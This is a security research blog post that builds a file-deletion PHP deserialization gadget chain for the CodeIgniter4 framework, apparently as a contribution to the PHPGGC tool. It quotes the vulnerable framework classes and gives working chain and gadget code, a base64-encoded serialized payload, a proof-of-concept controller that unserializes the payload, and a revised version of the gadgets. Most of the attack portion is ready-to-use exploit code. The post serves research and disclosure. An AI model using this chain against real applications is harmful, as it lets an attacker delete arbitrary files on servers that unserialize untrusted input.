C110000: CodeIgniter4, file deletion Gadget Chain
Hello, today we’re implementing a new gadget chain for the CodeIgniter4 PHP Framework.
Open Source PHP Framework (originally from EllisLab).
Who?
- Framework name:
- CodeIgniter4
- GitHub repository:
- codeigniter4 / CodeIgniter4
- URL:
Why?
Below is the responsible code.
File: system/Cache/Handlers/RedisHandler.php
<?php
...
namespace CodeIgniter\Cache\Handlers;
use CodeIgniter\Exceptions\CriticalError;
use CodeIgniter\I18n\Time;
use Config\Cache;
use Redis;
use RedisException;
/**
* Redis cache handler
*/
class RedisHandler extends BaseHandler
{
/**
* Default config
*
* @var array
*/
protected $config = [
'host' => '127.0.0.1',
'password' => null,
'port' => 6379,
'timeout' => 0,
'database' => 0,
];
/**
* Redis connection
*
* @var Redis
*/
protected $redis;
...
/**
* Closes the connection to Redis if present.
*/
public function __destruct()
{
if (isset($this->redis)) {
$this->redis->close();
}
}
...
}
File: system/Session/Handlers/MemcachedHandler.php
<?php
...
namespace CodeIgniter\Session\Handlers;
use CodeIgniter\I18n\Time;
use CodeIgniter\Session\Exceptions\SessionException;
use Config\App as AppConfig;
use Config\Session as SessionConfig;
use Memcached;
use ReturnTypeWillChange;
/**
* Session handler using Memcache for persistence
*/
class MemcachedHandler extends BaseHandler
{
/**
* Memcached instance
*
* @var Memcached|null
*/
protected $memcached;
/**
* Key prefix
*
* @var string
*/
protected $keyPrefix = 'ci_session:';
/**
* Lock key
*
* @var string|null
*/
protected $lockKey;
/**
* Number of seconds until the session ends.
*
* @var int
*/
protected $sessionExpiration = 7200;
...
/**
* Closes the current session.
*/
public function close(): bool
{
if (isset($this->memcached)) {
if (isset($this->lockKey)) {
$this->memcached->delete($this->lockKey);
}
if (! $this->memcached->quit()) {
return false;
}
$this->memcached = null;
return true;
}
return false;
}
...
}
File: system/Cache/Handlers/FileHandler.php
<?php
...
namespace CodeIgniter\Cache\Handlers;
use CodeIgniter\Cache\Exceptions\CacheException;
use CodeIgniter\I18n\Time;
use Config\Cache;
use Throwable;
/**
* File system cache handler
*/
class FileHandler extends BaseHandler
{
/**
* Maximum key length.
*/
public const MAX_KEY_LENGTH = 255;
/**
* Where to store cached files on the disk.
*
* @var string
*/
protected $path;
/**
* Mode for the stored files.
* Must be chmod-safe (octal).
*
* @var int
*
* @see https://www.php.net/manual/en/function.chmod.php
*/
protected $mode;
...
/**
* {@inheritDoc}
*/
public function delete(string $key)
{
$key = static::validateKey($key, $this->prefix);
return is_file($this->path . $key) && unlink($this->path . $key);
}
...
}
And function BaseHandler::validateKey()
is defined as:
File: system/Cache/Handlers/BaseHandler.php
<?php
...
namespace CodeIgniter\Cache\Handlers;
use Closure;
use CodeIgniter\Cache\CacheInterface;
use Exception;
use InvalidArgumentException;
/**
* Base class for cache handling
*/
abstract class BaseHandler implements CacheInterface
{
/**
* Reserved characters that cannot be used in a key or tag. May be overridden by the config.
* From https://github.com/symfony/cache-contracts/blob/c0446463729b89dd4fa62e9aeecc80287323615d/ItemInterface.php#L43
*
* @deprecated in favor of the Cache config
*/
public const RESERVED_CHARACTERS = '{}()/\@:';
/**
* Maximum key length.
*/
public const MAX_KEY_LENGTH = PHP_INT_MAX;
/**
* Prefix to apply to cache keys.
* May not be used by all handlers.
*
* @var string
*/
protected $prefix;
/**
* Validates a cache key according to PSR-6.
* Keys that exceed MAX_KEY_LENGTH are hashed.
* From https://github.com/symfony/cache/blob/7b024c6726af21fd4984ac8d1eae2b9f3d90de88/CacheItem.php#L158
*
* @param string $key The key to validate
* @param string $prefix Optional prefix to include in length calculations
*
* @throws InvalidArgumentException When $key is not valid
*/
public static function validateKey($key, $prefix = ''): string
{
if (! is_string($key)) {
throw new InvalidArgumentException('Cache key must be a string');
}
if ($key === '') {
throw new InvalidArgumentException('Cache key cannot be empty.');
}
$reserved = config('Cache')->reservedCharacters ?? self::RESERVED_CHARACTERS;
if ($reserved && strpbrk($key, $reserved) !== false) {
throw new InvalidArgumentException('Cache key contains reserved characters ' . $reserved);
}
// If the key with prefix exceeds the length then return the hashed version
return strlen($prefix . $key) > static::MAX_KEY_LENGTH ? $prefix . md5($key) : $prefix . $key;
}
...
}
How?
First, let’s add this new chain to PHPGGC.
Adding the gadget chain to PHPGGC
File: gadgetchains/CodeIgniter4/FD/1/chain.php
<?php
namespace GadgetChain\CodeIgniter4;
class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
public static $version = '<= 4.3.6';
public static $vector = '__destruct';
public static $author = 'coiffeur';
public static $information = '';
public function generate(array $parameters)
{
return new \CodeIgniter\Cache\Handlers\RedisHandler($parameters['remote_path']);
}
}
File: gadgetchains/CodeIgniter4/FD/1/gadgets.php
<?php
namespace CodeIgniter\Cache\Handlers {
class RedisHandler {
protected $redis;
public function __construct($remote_path) {
$this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(
new \CodeIgniter\Cache\Handlers\FileHandler(),
$remote_path
);
}
}
class FileHandler {
protected $prefix;
protected $path;
public function __construct() {
$this->prefix = "";
$this->path = "";
}
}
}
namespace CodeIgniter\Session\Handlers {
class MemcachedHandler {
protected $memcached;
protected $lockKey;
public function __construct($memcached, $remote_path) {
$this->memcached = $memcached;
$this->lockKey = $remote_path;
}
}
}
Now let’s develop a POC.
Proof Of Concept
php composer.phar create-project codeigniter4/appstarter test
cd test
echo 12345 > public/AAAA
Then we generate the gadget chain using
PHPGGC
(we need to encode the string in
base64 as it contains NULL bytes):
Then we edit the file app/Controllers/Home.php so that it contains the following code:
File:
<?php
namespace App\Controllers;
class Home extends BaseController
{
public function index()
{
$es = 'YToyOntpOjc7TzozOToiQ29kZUlnbml0ZXJcQ2FjaGVcSGFuZGxlcnNcUmVkaXNIYW5kbGVyIjoxOntzOjg6IgAqAHJlZGlzIjtPOjQ1OiJDb2RlSWduaXRlclxTZXNzaW9uXEhhbmRsZXJzXE1lbWNhY2hlZEhhbmRsZXIiOjI6e3M6MTI6IgAqAG1lbWNhY2hlZCI7TzozODoiQ29kZUlnbml0ZXJcQ2FjaGVcSGFuZGxlcnNcRmlsZUhhbmRsZXIiOjI6e3M6OToiACoAcHJlZml4IjtzOjA6IiI7czo3OiIAKgBwYXRoIjtzOjA6IiI7fXM6MTA6IgAqAGxvY2tLZXkiO3M6NDoiQUFBQSI7fX1pOjc7aTo3O30=';
$s = base64_decode($es);
$o = unserialize($s);
return view('welcome_message');
}
}
Then we trigger the PHP script execution by making an HTTP GET request via
curl
:
Thank you for taking the time to read this article.
UPDATE 2023-07-10:
After an interesting comment from the repository owner, the gadget chain has been updated:
File: gadgetchains/CodeIgniter4/FD/1/gadgets.php
<?php
namespace CodeIgniter\Cache\Handlers {
class RedisHandler {
protected $redis;
public function __construct($remote_path) {
$this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(
new \CodeIgniter\Cache\Handlers\FileHandler($remote_path),
$remote_path
);
}
}
class FileHandler {
protected $prefix;
protected $path = "";
public function __construct($remote_path) {
$this->prefix = dirname($remote_path) . "/";
}
}
}
namespace CodeIgniter\Session\Handlers {
class MemcachedHandler {
protected $memcached;
protected $lockKey;
public function __construct($memcached, $remote_path) {
$this->memcached = $memcached;
$this->lockKey = basename($remote_path);
}
}
}